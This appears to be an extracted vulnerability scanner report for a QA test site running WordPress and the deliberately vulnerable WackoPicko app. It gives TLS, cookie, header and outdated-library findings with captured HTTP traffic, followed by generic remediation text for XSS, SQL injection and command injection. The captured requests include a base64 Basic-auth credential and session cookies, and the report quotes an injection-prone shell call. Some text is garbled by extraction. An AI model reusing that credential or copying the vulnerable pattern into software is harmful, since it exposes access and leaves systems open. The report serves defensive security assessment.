<!--[if IE 8]>
<html class="ie ie8" lang="en-US">
<![endif]-->
<!--[if !(IE 7) & !(IE 8)]><!-->
<html lang="en-US">
```

```
<!--<![endif]-->
<head>
         <meta charset="UTF-8">
         <meta name="viewport" content="width=device-width">
         <title>Postas de Pescada | Um site para mandar postas de pescada</title>
         <link rel="profile" href="http://gmpg.org/xfn/11">
         <link rel="pingback" href="https://test-0.ox.qa.prbly.win/xmlrpc.php">
         <!--[if lt IE 9]>
         <script src="https://test-0.ox.qa.prbly.win/wp-
content/themes/twentythirteen/js/html5.js"></script>
         <![endif]-->
         <meta name='robots' content='noindex,follow' />
<link rel="alternate" type="application/rss+xml" title="Postas de Pescada
&raquo; Feed" href="https://test-0.ox.qa.prbly.win/?feed=rss2" />
<link rel="alternate" type="application/rss+xml" title="Postas de Pescada
&raquo; Comments Feed" href="https://test-0.ox.qa.prbly.win/?feed=comments-rss2"
/>
```

# 149 Deprecated TLS protocol version 1.1 supported

LOW

CVSS SCORE
7.4

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

PATH

https://test-0.ox.qa.prbly.win/

DESCRIPTION

TLS protocol version 1.1 is outdated and deprecated by security standards such as NIST, PCI-DSS, and alike.

This version has various design flaws that can undermine the security of your communications. The attacker still needs to be able t o eavesdrop and intercept the connection before being able to deliver the attack, but given the widespread availability of open Wi-Fi hotspots, the risk cannot be ignored.

If you'd like to know more about secure TLS deployments, we have written an extensive article about it here.

EVIDENCE

No evidence available.

2

Deprecated TLS protocol version 1.0 supported

LOW

CVSS SCORE
7.4

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

PATH

https://test-0.ox.qa.prbly.win/

DESCRIPTION

TLS protocol version 1.0 is deprecated and is now considered insecure by security researchers and standards organizations alike. Fo
r example, the PCI (Payment Card Industry) Security Standards Council requires that TLS 1.0 is disabled starting from mid-2018.

This version has a design flaw in the way encryption Initialization Vectors (IVs) are handled, and security researchers devised an att
ack called BEAST that may allow an attacker to eavesdrop on connections using TLS 1.0. However, note that TLS 1.0 is not immedi
ately insecure, especially because BEAST is primarily a client-side attack, so if browsers are up-to-date, the connections should be s
afe.

In any case, the attacker needs to be able to eavesdrop and intercept the connection before being able to deliver the attack. This may be fairly common considering the frequency that clients establish connections over open Wi-Fi.

If you'd like to know more about secure TLS deployments, we have written an extensive article about it here.

EVIDENCE

No evidence available.

83

Cookie without HttpOnly flag

LOW

CVSS SCORE
3.1

CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

METHOD	PATH	COOKIE
GET	https://test-0.ox.qa.prbly.win/WackoPicko/passcheck.php	PHPSESSID

DESCRIPTION

Not having the HttpOnly flag means that the cookie can be accessed by client side scripts, such as JavaScript. This vulnerability by itself is not useful to an attacker since he has no control over client side scripts. However, if a Cross Site Scripting (XSS) vulnerabili ty is present, he might be able to introduce a malicious script in the application, and without the HttpOnly flag, he could read the vulnerable cookie's value.

The most interesting cookie for an attacker is usually the session cookie as it allows him to steal the user's session. Other cookies might be interesting also, depending on the application and the cookie's purposes, so a good rule-of-thumb is to set HttpOnly flag t o all cookies.

Mitigating this kind of vulnerability greatly reduces the impact of other possible vulnerabilities, such as XSS, which are very commo n in most sites.

EVIDENCE

The cookie being set without the HttpOnly flag:

```
Set-Cookie: PHPSESSID=5vi7nu9714opmdm136pfbtgpj1; path=/
```

REQUEST

```
GET /WackoPicko/passcheck.php HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
host: test-0.ox.qa.prbly.win
pragma: no-cache
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
fe-server: 1
origin: https://test-0.ox.qa.prbly.win
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:00:52 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: PHPSESSID=5vi7nu9714opmdm136pfbtgpj1; path=/
```

```
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
<html>
  <head>
    <link rel="stylesheet" href="/WackoPicko/css/blueprint/screen.css"
type="text/css" media="screen, projection">
    <link rel="stylesheet" href="/WackoPicko/css/blueprint/print.css"
type="text/css" media="print">
    <!--[if IE]><link rel="stylesheet" href="/WackoPicko/css/blueprint/ie.css"
type="text/css" media="screen, projection"><![endif]-->
    <link rel="stylesheet" href="/WackoPicko/css/stylings.php" type="text/css"
media="screen">
    <title>WackoPicko.com</title>
  </head>
  <body>
    <div class="container " style="border: 2px solid #5c95cf;">
      <div class="column span-24 first last">
        <h1 id="title"><a href="/WackoPicko/">WackoPicko.com</a></h1>
      </div>
      <div id="menu">
        <div class="column prepend-1 span-14 first">
          <ul class="menu">
            <li class="current"><a
href="/WackoPicko/users/home.php"><span>Home</span></a></li>
            <li class=""><a
href="/WackoPicko/pictures/upload.php"><span>Upload</span></a></li>
            <li class=""><a
href="/WackoPicko/pictures/recent.php"><span>Recent</span></a></li>
```

# 4 Certificate without revocation information

LOW

CVSS SCORE
7.4

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

PATH

https://test-0.ox.qa.prbly.win/

DESCRIPTION

A certificate without revocation information cannot be revoked by its owner in case its private key is compromised. Browsers consul t the Certificate Revocation List (CRL) or the Online Certificate Status Protocol (OCSP) endpoints that should be present in the certi ficate, in order to validate it. This means that browsers will not warn the user if they visit a site that is using a malicious certificat e, for instance in a Man-in-the-Middle attack. For an attacker to take advantage of this vulnerability it must first obtain the private key and be able to monitor the victim traffic, something that is normally hard to achieve.

The following issues need to be addressed:

- Neither CRL nor OCSP URI provided

EVIDENCE

No evidence available.

# 7

Browser content sniffing allowed

LOW

CVSS SCORE
4.7

CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

METHOD	PATH
GET	https://test-0.ox.qa.prbly.win/

DESCRIPTION

The application allows browsers to try to mime-sniff the content-type of the responses. This means the browser may try to guess t he content-type by looking at the response content, and render it in way it was not intended to. This behavior may lead to the exe cution of malicious code, for instance, to explore an XSS vulnerability.

Applications should disable this behavior, forcing browsers to honor the content-type specified in the response. Without a specific c ontent-type set browsers will default to render the content as text, turning XSS payloads innocuous.

Disabling mime-sniffing should be seen as an extra layer of defense against XSS, and not as replacement of the recommended XSS prevention techniques.

EVIDENCE

Response headers, missing the `X-Content-Type-Options` header:

```
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:00:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Pingback: https://test-0.ox.qa.prbly.win/xmlrpc.php
Content-Encoding: gzip
```

REQUEST

```
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; +https://probely.com/sos) ProbelyMRKT/0.1.0
FE-server: 1
Authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
Accept: */*
Accept-Encoding: gzip, deflate
Host: test-0.ox.qa.prbly.win
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:00:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Pingback: https://test-0.ox.qa.prbly.win/xmlrpc.php
Content-Encoding: gzip
<!DOCTYPE html>
<!--[if IE 7]>
<html class="ie ie7" lang="en-US">
<![endif]-->
<!--[if IE 8]>
<html class="ie ie8" lang="en-US">
<![endif]-->
<!--[if !(IE 7) & !(IE 8)]><!-->
```

```
<html lang="en-US">
<!--<![endif]-->
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width">
	<title>Postas de Pescada | Um site para mandar postas de pescada</title>
	<link rel="profile" href="http://gmpg.org/xfn/11">
	<link rel="pingback" href="https://test-0.ox.qa.prbly.win/xmlrpc.php">
	<!--[if lt IE 9]>
	<script src="https://test-0.ox.qa.prbly.win/wp-
content/themes/twentythirteen/js/html5.js"></script>
	<![endif]-->
	<meta name='robots' content='noindex,follow' />
<link rel="alternate" type="application/rss+xml" title="Postas de Pescada
&raquo; Feed" href="https://test-0.ox.qa.prbly.win/?feed=rss2" />
<link rel="alternate" type="application/rss+xml" title="Postas de Pescada
&raquo; Comments Feed" href="https://test-0.ox.qa.prbly.win/?feed=comments-rss2"
/>
```

# 103 Bootstrap library with known vulnerabilities

LOW

CVSS SCORE
4.2

CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

METHOD	PATH
GET	https://test-0.ox.qa.prbly.win/WackoPicko/im_hiding_this_lib_name.js

DESCRIPTION

The application uses an outdated version of the Bootstrap library, which has known vulnerabilities.

The following CVE(s) affect this library version:

- CVE-2019-8331

EVIDENCE

We have found this evidence(s) in the response:

```
 * Bootstrap v4.1.3 (https://getbootstrap.com/)
```

REQUEST

```
GET /WackoPicko/im_hiding_this_lib_name.js?v=v5.0.0 HTTP/1.1
accept-encoding: gzip, deflate
authorization: Basic cHJvYmVseTpzd2Vhcl9wbGFpbl9tYW51YWw=
cache-control: no-cache
connection: keep-alive
host: test-0.ox.qa.prbly.win
pragma: no-cache
referer: http://test-0.ox.qa.prbly.win/WackoPicko/
accept: */*
cookie: PHPSESSID=u9uar0l7dsstcd8d28h1dsdh26;
cookie_4242=123e4567-e89b-12d3-a456-426655440000;
__cfduid=d9c144520e23b3a69a658c4dca6dc4d4f1528804515;
if_u_see_this_in_a_finding_there_is_a_bug=abcd; abcdef=abcdef
fe-server: 1
origin: http://test-0.ox.qa.prbly.win
user-agent: Mozilla/5.0 (compatible; +https://probely.com/sos)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
ProbelySPDR/0.2.0
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Tue, 03 Jan 2023 05:01:09 GMT
Content-Type: application/javascript
Content-Length: 51039
Last-Modified: Fri, 16 Jul 2021 15:34:41 GMT
Connection: keep-alive
ETag: "60f1a711-c75f"
Expires: Wed, 03 Jan 2024 05:01:09 GMT
Cache-Control: max-age=31536000
Accept-Ranges: bytes
/*!
 * Bootstrap v4.1.3 (https://getbootstrap.com/)
```

```
  * Copyright 2011-2018 The Bootstrap Authors
(https://github.com/twbs/bootstrap/graphs/contributors)
  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
  */
!function(t,e){"object"==typeof exports&&"undefined"!=typeof
module?e(exports,require("jquery"),require("popper.js")):"function"==typeof defi
ne&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQu
ery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var
n=0;n<e.length;n++){var
i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in
i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return
e&&i(t.prototype,e),n&&i(t,n),t}function...
//# sourceMappingURL=bootstrap.min.js.map
```

Glossary

Term	Definition
Vulnerability	A type of security weakness that might occur in applications (e.g. Broken Authentication, Information Disclosure). Some vulnerabilities take their name not from the weakness itself, but from the attack that exploits it (e.g. SQL Injection, XSS, etc.).
Findings	An instance of a Vulnerability that was found in an application.

Severity Legend

To each finding is attributed a severity which sums up its overall risk

The severity is a compound metric that encompasses the likelihood of the finding being found and exploited by an attacker, the skill required to exploit it, and the impact of such exploitation. A finding that is easy to find, easy to exploit and the exploitation has high impact, will have a greater severity.

Different findings of the same type could have a different severity: we consider multiple factors to increase or decrease it, such as if the application has an authenticated area or not.

The following table describes the different severities:

Severity	Description	Examples
HIGH	These findings may have a direct impact in the application security, either clients or service owners, for instance by granting the attacker access to sensitive information.	SQL Injection OS Command Injection
MEDIUM	Medium findings usually don't have immediate impact alone, but combined with other findings may lead to a successful compromise of the application.	Cross-site Request Forgery Unencrypted Communications
LOW	Findings where either the exploit is not trivial, the impact is low, or the finding cannot be exploited by itself.	Directory Listing Clickjacking

Category Descriptions

The following pages contain descriptions of each vulnerability. For each vulnerability you will find a section explaining its impact, causes and prevention methods.
These descriptions are very generic, and whenever they are not enough to understand or fix a given finding, more information is provided for that finding in the Detailed Finding Descriptions section.

WordPress version with known vulnerabilities

Description

The installed version of WordPress has multiple known vulnerabilities that may be used by attackers to harmful the clients of the application or the application itself.

The impact of this greatly depends on the vulnerabilities this WordPress version has. Some vulnerabilities may allow only the theft of a user account, giving the attacker the possibility to read and modify content written by the victim and to post on is behalf. However, more serious vulnerabilities may allow the attacker to login with the administrator account and completely control the administration area, possibly destroy all the contents or replacing them with improper content.

This is a common problem amongst WordPress installations, since it becomes outdated quickly, with vulnerabilities being discovered weekly and updated being published at the same pace.

Fix

The correct solution is to update WordPress to its latest stable version, which will fix any known vulnerability, improving the security of the web application.

The easiest method to install the latest version is through the WordPress update feature: 1. go to the `/wp-admin/update-core.php` page on your application. 1. an indication of an update should appear: `An updated version of WordPress is available`. If it doesn't appear, press `Check Again`. 1. press `Update Now` and follow the instructions. This should only take a few minutes. 1. you should also update any plugin or theme you have installed, since these are often a source of vulnerabilities. To this press `Update Plugins` and afterwards `Update Themes`.

If you cannot update through the site (for instance, if the update process fails), you will have to do it manually. The manual update process is described at the WordPress site, at `https://codex.wordpress.org/Updating_WordPress#Manual_Update`.

WordPress plugin with known vulnerabilities

Description

The Wordpress application has plugins with multiple known vulnerabilities that may be used by attackers to harmful the clients of the application or the application itself.

The impact of this greatly depends on the vulnerabilities the plugins have. Some vulnerabilities may allow only the theft of a user account, giving the attacker the possibility to read and modify content written by the victim and to post on is behalf. However, more serious vulnerabilities may allow the attacker to login with the administrator account and completely control the administration area, possibly destroy all the contents or replacing them with improper content.

This is a common problem amongst WordPress plugins, since they become outdated quickly, with vulnerabilities being discovered weekly and updated being published at the same pace. It is also frequent for plugins to be no longer maintained, leaving users without updates that fix published vulnerabilities.

Fix

The correct solution is to update all plugins to their latest stable version, which will fix any known vulnerability, improving the security of the web application.

The easiest method to install the latest version is through the plugin update feature: 1. go to the `/wp-admin/update-core.php` page on your application. 1. an indication of an update should appear after Plugins: `The following plugins have new versions available` If it doesn't appear, press `Check Again`. 1. select all plugins and press `Update Plugins`. Some extra instructions may appear, which you should follow. 1. you should also update any theme you have installed, since these are often a source of vulnerabilities. To this press `Update Themes`.

If you cannot update through the site (for instance, if the update process fails), you will have to do it manually. The manual update process is described at each plugin page. Look in the details of each plugin for its page.

Unencrypted communications

Description

The application allows clients to connect to it through an unencrypted connection, meaning that an attacker that is strategically positioned between the victim's and the applications's traffic is able to eavesdrop all communications between them, accessing any information that is being transmitted, such as the victim's credentials. In addition, the attacker can modify the communications to deliver more powerful attacks, for instance, to ask the victim for more sensitive information that hasn't been asked in the original application page.

Such attacks are more likely to occur when the victim is using an insecure Wi-Fi connection, a typical scenario in the public Wi-Fi services.

Unencrypted connections may also trigger browser warnings about the insecurity of the connection, following the trend of raising awareness about privacy.

Fix

The application should be configured to use encryption in all communications. This normally means to configure the web server to use TLS with a suitable choice of ciphers, forcing all incoming requests in plaintext (without encryption) to be redirected to TLS endpoint of the application.

In HTTP this is achieved with a 301 Moved Permanently directive. It can be complemented with an HTTP Strict Transport Security header (HSTS) to force the browsers to make all requests in HTTPS even if the end user forgets to write HTTPS in the request.

Stored cross-site scripting

Description

A stored cross-site scripting (XSS) vulnerability allows the attacker to inject malicious scripts in the application that are later executed in an application response. Typical attacks aim to execute the malicious script in the victims browser to read the session tokens (such as the session cookie) or login credentials and send it to the attacker.

Stored cross-site scripting vulnerabilities are normally more serious than reflected cross-site scripting since the malicious code is stored in the application and executed within the browser of any user that views that page, without the need for the attacker to reach individual victims.

Fix

The correct prevention method is to escape the user input data before including it in the response, however there are some rules you must follow to ensure proper escaping is applied.

If you are using a template system to define the look and layout of your application, it is likely that it has support for auto-escaping data, without much hassle. Depending on the system, you either enable it globally when loading the template system or you have to enable it everything time you echo some code or variable in the page.

Using a template system to generate your pages will probably save you some time and it easier to ensure that is XSS-free, since most of them auto-escape by design, such as the template system used in the Python framework Django.

If you have to do it by hand you must be aware that there isn't one-size-fits-all solution: the way you escape the input depends on the context of the page where it is being placed. There are four contexts where it is common to place user input. These are:

1. HTML body and HTML element attributes
2. JavaScript
3. CSS and style attributes
4. URI's

HTML Body and Element Attributes Context

This rule applies to data inserted into HTML body elements, such as `div`, `p`, `b`, `td`, etc. and also to simple attribute values like `width`, `name`, `value`, `id`, etc. It must not be used in attributes like `href`, `src`, `style`, or any event handler like `onmouseover`.

You should use `htmlspecialchars` in PHP, like this:

```
echo htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
```

Javascript Context

This rules applies to input placed directly inside JavaScript code - both script blocks and event-handler attributes, such as `onmouseover`.

In this case you should escape any input by converting it to its unicode representation. For instance, `;` should become `\u003b`. If you don't have access to a function that does this conversion, you have the option to convert to the `\xHH` format, where `HH` its the character hex representation.

CSS and Style tag Context

To escape user data within CSS or within a style tag you should use the `\HHHHHH` format, where `HHHHHH` is hex representation of the character, padded with the necessary zeros.

URL GET Parameters Context

This context is for URL based attributes, such as `href` and `src`. Input within these should be passed through an URL encoding function. All languages have functions to perform such conversion, for instance, in Python you would use `urllib.urlencode`.

SQL Injection

Description

SQL Injections are the most common form of injections because SQL databases are very popular in dynamic web applications. This vulnerability allows an attacker to tamper existing SQL queries performed by the web application. Depending on the queries, the attacker might be able to access, modify or even destroy data from the database.

Since databases are commonly used to store private data, such as authentication information, personal user data and site content, if an attacker gains access to it, the consequences are typically very severe, ranging from defacement of the web application to users data leakage or loss, or even full control of the web application or database server.

Fix

To fix an SQL Injection in PHP, you should use Prepared Statements. Prepared Statements can be thought of as a kind of compiled template for the SQL that an application wants to run, that can be customized using variable parameters.

PHP's PDO extension supports Prepared Statements, so that's probably your best option.

In the example below you can see the use of prepared statements. Variables `$username` and `$hashedPassword` come from user input.

```
$stmt = $dbg->prepare("SELECT id, name FROM users WHERE username=? AND password=?"); $stmt->bindParam(1, $username);
$stmt->bindParam(2, $hashedPassword); if ($stmt->execute()) { $user = $stmt->fetch(); if ($user) { $_SESSION['authID'] =
$user['id']; echo "Hello " . $user['name']; } else { echo "Invalid Login"; } }
```

As an added bonus, if you're executing the same query several times, then it'll be even faster than when you're not using prepared statements. This is because when using prepared statements, the query needs to be parsed (prepared) only once, but can be executed multiple times with the same or different parameters.

Reflected cross-site scripting

Description

A reflected cross-site scripting (XSS) vulnerability allows the attacker to temporarily inject malicious scripts in the application page. The typical attack is to send a link to the victim with some JavaScript in it, which will be executed in the victim's browser, inside the vulnerable page. This malicious JavaScript can, for instance, read the session cookie and send it to the attacker, change the login form and point it to a page controlled by the attacker (and thus stealing the credentials) or even add a non-existent form asking for sensitive data.

Depending on the type of XSS and the nature of the vulnerable application, the impact of this vulnerability can range from temporarily modifying the contents of the website (during the victim's visit) to total control of the victim's session or even of the browser. Given its prevalence and ease of exploitation, it's often considered a serious risk for any application that contains an area that requires authentication.

This type of vulnerability is quite widespread on the Internet and happens when the application takes user input and prints (outputs) it without properly encode or validate that input. The name *reflected* comes from the malicious code that is sent to the server and reflected back to the victim's browser, in the source code of the page.

Fix

The correct prevention method is to escape the user input data before including it in the response, however there are some rules you must follow to ensure proper escaping is applied.

If you are using a template system to define the look and layout of your application, it is likely that it has support for auto-escaping data, without much hassle. Depending on the system, you either enable it globally when loading the template system or you have to enable it everything time you echo some code or variable in the page.

Using a template system to generate your pages will probably save you some time and it easier to ensure that is XSS-free, since most of them auto-escape by design, such as the template system used in the Python framework Django.

If you have to do it by hand you must be aware that there isn't one-size-fits-all solution: the way you escape the input depends on the context of the page where it is being placed. There are four contexts where it is common to place user input. These are:

1. HTML body and HTML element attributes
2. JavaScript
3. CSS and style attributes
4. URI's

HTML Body and Element Attributes Context

This rule applies to data inserted into HTML body elements, such as `div`, `p`, `b`, `td`, etc. and also to simple attribute values like `width`, `name`, `value`, `id`, etc. It must not be used in attributes like `href`, `src`, `style`, or any event handler like `onmouseover`.

You should use `htmlspecialchars` in PHP, like this:

```
echo htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
```

Javascript Context

This rules applies to input placed directly inside JavaScript code - both script blocks and event-handler attributes, such as `onmouseover`.

In this case you should escape any input by converting it to its unicode representation. For instance, `;` should become `\u003b`. If you don't have access to a function that does this conversion, you have the option to convert to the `\xHH` format, where `HH` its the character hex representation.

CSS and Style tag Context

To escape user data within CSS or within a style tag you should use the `\HHHHHH` format, where `HHHHHH` is hex representation of the character, padded with the necessary zeros.

URL GET Parameters Context

This context is for URL based attributes, such as `href` and `src`. Input within these should be passed through an URL encoding function. All languages have functions to perform such conversion, for instance, in Python you would use `urllib.urlencode`.

OS command injection

Description

A command injection vulnerability allows the attacker to execute arbitrary operating system commands on the server. In the worst case scenario, the attacker will be able to fully administrate the server, which will enable him to extract sensitive data, modify the application contents or delete data.

These attacks happen when user supplied data (forms, cookies, HTTP headers etc.) is passed into a function that executes shell commands, without being properly sanitized. Because this sanitization is usually hard, it is recommended to avoid executing shell commands within the application, especially those with user supplied input. Instead use the APIs your language provides you.

Fix

The best way to fix and prevent this vulnerability is to replace the calls to the system/shell with calls to the PHP API.

For instance, instead of using something like `system("rm ".$file");` to delete a file, use `unlink($file);`. The functions that can lead to this vulnerability, and thus that you should replace are `exec`, `shell_exec`, `system`, `passthru` and `proc_open` .

If replacement is not possible, you should escape what is passed to those calls to ensure no malicious commands are executed. In PHP you use `escapeshellcmd` and `escapeshellarg` to escaped the commands and arguments passed to the operating system, respectively.

~~~
`` $cmd = "/bin/script"; $args = "-d -c 2"; $c = escapeshellcmd($cmd)." ".escapeshellarg($args); $output = system($c);
```````` Finally, if the previous mitigations are not an option, you should strongly consider to _whitelist_ the characters that may be passed as argument to the function to avoid including malicious commands. To implement the _whitelist_ start by allowing only alphanumerical characters. You may allow more characters, but do not allow characters like&,|,;or=. In addition, run your application with the lowest privileges possible, and never asroot`.
~~~

Cross Origin Resource Sharing: Arbitrary Origin Trusted

Description

An HTML5 Cross-Origin Resource Sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.

If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially retrieve content from the application, and sometimes carry out actions within the security context of the logged-in user.

The aforementioned impact is exploitable because the site specifies the header Access-Control-Allow-Credentials: true and allows any arbitrary origin to bypass same-origin policy as can be seen in the response header Access-Control-Allow-Origin.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by an attacker to exploit the trust relationship and attack the application that allows access. CORS policies on pages containing sensitive information should be reviewed to determine whether it is appropriate for the application to trust both the intentions and security posture of any domains granted access.

Fix

Any inappropriate domains should be removed from the CORS policy or you should only send the header Access-Control-Allow-Origin to origins that you allow, i.e., you should use a whitelist of trusted domains.

ASP.NET tracing enabled

Description

The ASP.NET tracing feature allows debugging of the web server interactions, by displaying full details of the requests and responses of all users visiting the site. These details are available in a well known URL that is accessible to any user, disclosing any sensitive information that is present there such as session tokens, credentials, private personal information and anything transmitted to and from the application.

An attacker that visits the ASP.NET trace page will easily hijack the accounts of any other user logged in the application just by using the session token it got there.

Fix

ASP.NET tracing is a feature of the ASP.NET framework, configured in the `web.config` file. To disable it, you need to edit the `web.config` file and change the `trace` directive within your `system.web` settings: `<configuration> <system.web> <trace enabled="false" localOnly="true"/> </system.web> </configuration>`

The `localOnly="true"` is a fail-safe in case the trace is enabled again. With this flag set to `true`, the trace page will only be available through the server itself, i.e. localhost, thus safe from requests from the Internet.

Weak cipher suites enabled

Description

The server supports weak cipher suites for SSL/TLS connections. These cipher suites are currently considered broken and, depending on the specific cipher suite, offer poor or no security at all. Thus defeating the purpose of using a secure communication channel in the first place.

Any connection to the server using a weak cipher suite is at risk of being eavesdropped and tampered with by an attacker that can intercept connections. This is more likely to occur to Wi-Fi clients.

Depending on the cipher suites used, a connection may be at an immediate risk of being intercepted.

Fix

To stop using weak cipher suites, you must configure your web server cipher suite list accordingly.

Ideally, as a general guideline, you should remove any cipher suite containing references to NULL, anonymous, export, DES, 3DES, RC4, and MD5 algorithms. Additionally, remove any cipher suite containing ciphers with less than 128 bit security. You should also remove any CBC ciphers, as CBC ciphers may be vulnerable to padding oracle attacks.

You should enable ECDHE and GCM cipher suites to ensure proper security. Please note that these modern ciphers are available in newer versions of TLS only. You will need to enable TLSv1.2 and above (for GCM cipher suites).

To achieve this, we propose a modern cipher suite, based on these recommendations:

- `TLS13-AES-256-GCM-SHA384:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256`

For NGINX, you can use the following snippet to enable the modern compatibility cipher suite. This will support TLS 1.2 and above only.

```
server { listen 443 ssl; ... ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers 'TLS13-AES-256-GCM-SHA384:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256'; ... }
```

Untrusted TLS certificate

Description

The certificate sent by the server is not trusted.

This may be due to one of the following reasons: * The requested hostname does not match the CN or SAN attribute of the TLS Certificate; * The issuer of this certificate is not trusted. This can happen if the certificate is self-signed, or the certificate issuer is not a recognized Certificate Authority; * The server did not send the complete certificate chain. This usually means that the server did not send a required intermediate CA certificate.

If this problem is intermittent, it might be because your site is behind a load balancer, and one of the servers is misconfigured or is sending an incorrect certificate.

Fix

To fix this issue, you should address all of the issues identified below.

Mixed content

Description

The application is loaded over an HTTPS connection but it loads resources over an unencrypted connection, in HTTP. If an attacker is strategically positioned between the victim and the applications it can eavesdrop all communications between them. In this case, it would only be able to eavesdrop the resource loaded over HTTP, but it could modify its contents to affect other parts of the application, even if they are loaded over a secure connection.

A possible scenario would be for the attacker to modify some JavaScript content, loaded over HTTP, that handles the login form submission. Suppose the destination host of the login request is defined in the JavaScript file and the attacker changes it to host controlled by him, thus getting access to the victim's credentials.

Fix

All resources present in the page must be loaded over HTTPS, including those served from third-party services, such as those used for analytics.

Resources provided by third-parties are normally available over HTTPS, and most of the times is just a matter of replacing `http` with `https`. However, you should always consult the documentation of the service to ensure you are loading the resource from the proper URL.

For resources that are not available over HTTPS, you can create a HTTPS reverse proxy that loads the resource with HTTP and serve it over HTTPS.

Expired TLS certificate

Description

The TLS certificate sent by the application has expired. Web browsers will consider it invalid, and will show an error to users of your application. In most cases, browsers and TLS libraries will not allow the user to ignore the error, effectively blocking access to your application.

Using an invalid certificate will increase the user's chances of being victim to a Man-in-the-Middle attack, since this enables a malicious third party to perform the attack with any invalid certificate. This happens because it can be difficult for a user to distinguish between:

- An expired, but legitimate, certificate sent from the server (OK)
- An invalid certificate, sent from the attacker (not OK)

This greatly increases the likelihood of a successful MITM attack.

Fix

To fix this issue you should install a new certificate, with an expiration date in the future. You can confirm the validity of the certificate by looking at the Not Before and Not After fields.

SSL cookie without Secure flag

Description

The cookie secure flag is intended to prevent browsers from submitting the cookie in any HTTP requests that use an unencrypted connection, thus an attacker that is eavesdropping the connection will not be able to get that cookie.

A flag without the secure flag set will always be sent on every HTTP request that matches the scope of cookie, i.e. the domain for which it is set. What this means is that if your application inadvertently makes an HTTP request (without encryption), this request will carry the cookie and any attacker that can eavesdrop the victim traffic will be able to read that cookie.

If the cookie in question is the session cookie, the attacker will be able to hijack the victim account.

Fix

To fix a vulnerability of this type, you just need to set the Secure flag on the vulnerable cookie, effectively preventing it from being transmitted in unencrypted connections, i.e. over HTTP.

Depending on the language and technologies you are using, setting the Secure flag could mean to enable it or setting it to true, either on the code of the application itself or in a configuration file of the webserver or Content Management System (CMS) you are using.

Referrer policy not defined

Description

The application does not prevent browsers from sending sensitive information to third party sites in the **referer** header.

Without a referrer policy, every time a user clicks a link that takes him to another origin (domain), the browser will add a **referer** header with the URL from which he is coming from. That URL may contain sensitive information, such as password recovery tokens or personal information, and it will be visible that other origin. For instance, if the user is at `example.com/password_recovery?unique_token=14f748d89d` and clicks a link to `example-analytics.com`, that origin will receive the complete password recovery URL in the headers and might be able to set the users password. The same happens for requests made automatically by the application, such as XHR ones.

Applications should set a secure referrer policy that prevents sensitive data from being sent to third party sites.

Fix

